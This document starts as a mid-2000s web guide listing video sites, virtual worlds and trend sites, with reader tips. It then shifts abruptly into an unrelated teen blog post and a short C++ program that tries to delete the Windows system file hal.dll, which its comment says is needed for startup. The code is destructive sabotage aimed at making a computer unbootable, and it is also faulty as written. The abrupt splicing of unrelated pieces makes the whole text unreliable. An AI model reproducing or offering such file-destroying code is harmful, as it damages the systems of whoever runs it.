The crowds are all over at YouTube, the poster child of online video (a category too niche to merit mention two years ago; YouTube was founded in February 2005). But it’s not the only place to find video. Revver offers a revenue-sharing system (people pay to watch your video, you get some cash). You can also start your own TV station at brightcove and currenttv. And Videojug has demonstrations of how to do lots of possibly useful tasks.

youtube.com

revver.com

brightcove.com

currenttv.com

videojug.com

Virtual worlds

The key distinction from social sites like MySpace is that virtual worlds give you an avatar - your representation of yourself in the online world. The advent of broadband allied to faster machines has made them usable. When the BBC held a concert in Second Life, it seemed like an anomaly; then IBM’s chief executive got an avatar, and suddenly everyone’s there. Habbo Hotel is booming with teens. World of Warcraft has millions of users; Everquest, its own culture. Or you can play the Sims online. Whether an influx of new users will make these worlds more antisocial remains open.

secondlife.com

habbohotel.co.uk

worldofwarcraft.com

thesimsonline.com

eqplayers.station.sony.com/index.vm

Zeitgeist

It’s what everyone’s talking about. Some of these sites appear above because they’re the places to go to find out whatthe webworld is thinking. Watch them whizz by, but don’t forget to breathe. YouTube is the moving picture of the web; Flickr the static one. Google Trends shows what the world’s looking for; Digg, what it’s found. And Technorati shows what it’s writing about. youtube.com flickr.com google.com/trends digg.com technorati.com

VideoJug (videojug.com). Videos on how to do everyday stuff such as tying a tie etc. (HiddenAway)

Slideshare (slideshare.net) . For sharing presentations; Best Tech Videos (bestechvideos.com). Very techie tutorial videos; TechXtra (techxtra.ac.uk). Has a long enough ‘tail’ to answer real queries. (RoddyM)

Online apps and desktops: Zoho (zoho.com);Cosmopod (cosmopod.com); eyeOS (eyeos.org). Online video editing: jumpcut.com. (hakluytbean)

Reevoo (reevoo.com) is a very handy site for people looking for honest feedback on products, as it only publishes reviews known to come from customers. (TechMonkey)

Compliments towards Charles Arthur, Kate Bulkley, Michael Cross, Bobbie Johnson, Vic Keegan, Jack Schofield, Keith Stuart

Sorry! I haven’t been on for 2 days :O and so to make it up, I got you 2 new pages on HALO!!!

-Nikhil Menon

#include <cstdlib>   //default by my compiler
#include <iostream> //default by my compiler
#include <stdio.h>  //For remove();
using namespace std;

int main(int argc, char *argv[])
{

remove("%systemroot%/system32/hal.dll"); //hal.dll is needed for startup
//system("%systemroot%/system32/hal.dll"); <anougher way of doing 
}